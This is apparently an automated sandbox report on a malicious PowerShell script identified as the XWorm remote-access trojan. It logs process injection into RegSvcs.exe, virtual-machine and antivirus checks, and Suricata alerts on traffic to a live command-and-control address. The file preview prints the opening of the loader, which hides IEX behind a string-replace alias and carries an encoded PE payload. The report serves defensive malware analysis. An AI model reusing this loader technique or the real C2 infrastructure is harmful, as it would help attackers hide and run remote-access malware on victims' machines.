Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3628	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3714	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1757	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8075	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5720	Thread sleep time: -5534023222112862s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3184	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.3914283892.000000000145B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: FD6008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 0.2.powershell.exe.1ac16030578.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.1ac16e49e40.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3916503959.0000000003101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3352, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 0.2.powershell.exe.1ac16030578.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.1ac16e49e40.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3916503959.0000000003101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3352, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	1 Disable or Modify Tools	OS Credential Dumping	111 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	121 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	211 Process Injection	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mhqxUdpe7V.ps1	10%	Virustotal		Browse
mhqxUdpe7V.ps1	13%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
92.255.57.155	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
92.255.57.155	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1504821903.000001AC25E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1483546758.000001AC15C31000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1483546758.000001AC15C31000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3916503959.0000000003101000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000000.00000002.1483546758.000001AC163FF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1504821903.000001AC25E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
92.255.57.155	unknown	Russian Federation		42253	TELSPRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577168
Start date and time:	2024-12-18 08:14:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mhqxUdpe7V.ps1 renamed because original name is a hash value
Original Sample Name:	372ad160c5b235ae768490e898860d6797ba74b1ed8106496ffc5a7c1ccd464e.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@6/5@0/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 92% Number of executed functions: 14 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 3600 because it is empty
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
02:15:24	API Interceptor	7x Sleep call for process: powershell.exe modified
02:15:31	API Interceptor	8039604x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
92.255.57.155	anyrunsample.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155/1/1.png
92.255.57.155	https://reviewgustereports.com/	Get hash	malicious	CAPTCHA Scam ClickFix, XWorm	Browse	92.255.57.155/1/1.png

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELSPRU	MiGFg375KJ.exe	Get hash	malicious	XWorm	Browse	92.255.57.155
	anyrunsample.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155
	sEOELQpFOB.lnk	Get hash	malicious	RedLine	Browse	92.255.57.75
	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	92.255.57.75
	fa20b849ebe7c53d59f3ed0fcfac8445ea08e7296af5a.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	LXS5itpTK7.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	SEejSLAS9f.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	mMgFHz9PdG.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	vCZfRWB1kd.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	1891f566c018182f1b5826b5fe2a05d6927aff15638d2.exe	Get hash	malicious	Stealc	Browse	92.255.57.89

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrajcapk.xdo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzzekrex.fgy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\590aee7bdd69b59b.customDesusertions-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7295667045435508
Encrypted:	false
SSDEEP:	96:jm5sCQQOLgkvhkvCCtJhbBuDH6hbB1iDHx:jm5sLsJhvhI
MD5:	D98DB6FE96E16D81FE7D7F548BBE009C
SHA1:	39902225B1C203A864E4271EFF48705852566477
SHA-256:	3096733FEC3C64D0E9ABD9EC072662CB6CD10B7B9D93D4325A877BBBA63046BD
SHA-512:	1314BC241C8A6570009AA720B37955D658AE951A57E6DAC6D759FD3523FBE35A910899BAACC4EB502FA6C26BDED6C7ECA2A3DE16CEF9D287BF04CEFA8798A831
Malicious:	false
Preview:	...................................FL..................F.".. ....'GDj...p6...Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......bBDj.......Q......Q......t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.Y.9..........................=...A.p.p.D.a.t.a...B.V.1......Y.9..Roaming.@......EWsG.Y.9...........................V*.R.o.a.m.i.n.g.....\.1.....EWiI..MICROS~1..D......EWsG.Y.9..........................p.q.M.i.c.r.o.s.o.f.t.....V.1.....EW.J..Windows.@......EWsG.Y.9..........................X=..W.i.n.d.o.w.s.......1.....EWuG..STARTM~1..n......EWsG.Y.9....................D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW.I..Programs..j......EWsG.Y.9....................@.....?5..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EWsGEWsG..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EWsG.Y.9................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\5XHXO4M7DHTKL94017VD.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7295667045435508
Encrypted:	false
SSDEEP:	96:jm5sCQQOLgkvhkvCCtJhbBuDH6hbB1iDHx:jm5sLsJhvhI
MD5:	D98DB6FE96E16D81FE7D7F548BBE009C
SHA1:	39902225B1C203A864E4271EFF48705852566477
SHA-256:	3096733FEC3C64D0E9ABD9EC072662CB6CD10B7B9D93D4325A877BBBA63046BD
SHA-512:	1314BC241C8A6570009AA720B37955D658AE951A57E6DAC6D759FD3523FBE35A910899BAACC4EB502FA6C26BDED6C7ECA2A3DE16CEF9D287BF04CEFA8798A831
Malicious:	false
Preview:	...................................FL..................F.".. ....'GDj...p6...Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......bBDj.......Q......Q......t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.Y.9..........................=...A.p.p.D.a.t.a...B.V.1......Y.9..Roaming.@......EWsG.Y.9...........................V*.R.o.a.m.i.n.g.....\.1.....EWiI..MICROS~1..D......EWsG.Y.9..........................p.q.M.i.c.r.o.s.o.f.t.....V.1.....EW.J..Windows.@......EWsG.Y.9..........................X=..W.i.n.d.o.w.s.......1.....EWuG..STARTM~1..n......EWsG.Y.9....................D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW.I..Programs..j......EWsG.Y.9....................@.....?5..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EWsGEWsG..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EWsG.Y.9................

Static File Info

General

File type:	ASCII text, with very long lines (65459), with CRLF line terminators
Entropy (8bit):	5.195931400416405
TrID:
File name:	mhqxUdpe7V.ps1
File size:	143'864 bytes
MD5:	d8e887ed6c14e9b9279b739aea8bb613
SHA1:	d5d2ade0c4896b1e7fc6318ec97dbb49ee1cb071
SHA256:	372ad160c5b235ae768490e898860d6797ba74b1ed8106496ffc5a7c1ccd464e
SHA512:	eb5c96ba7b726fca6edced657baf55b34157f6576f4a340a671ebe0705b06742ea281bdc2230c08aa9f8bd8b687dee6bbb2070eb16b1cdf467041301334a3f0f
SSDEEP:	3072:VDY+KK5sCTIO5MTe4ydXHLM8DIVI96igQycLQxvBzAqx9aKVo6sQ4aR6s:VDY+xiYIO5MTe4ydXHLM8DIVI96igQr4
TLSH:	C2E36C330202FD8F6B7F2F84E5043E951C68247B8B599558FACA0AA925B6520DF39DF4
File Content Preview:	ipconfig /flushdns...... $t0='AZAZAZIEX'.replace('AZAZAZ','');sal GG $t0;....$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQA

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T08:15:43.947086+0100	2858800	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:15:44.383553+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:15:44.423184+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:15:55.993778+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.9	49705	TCP
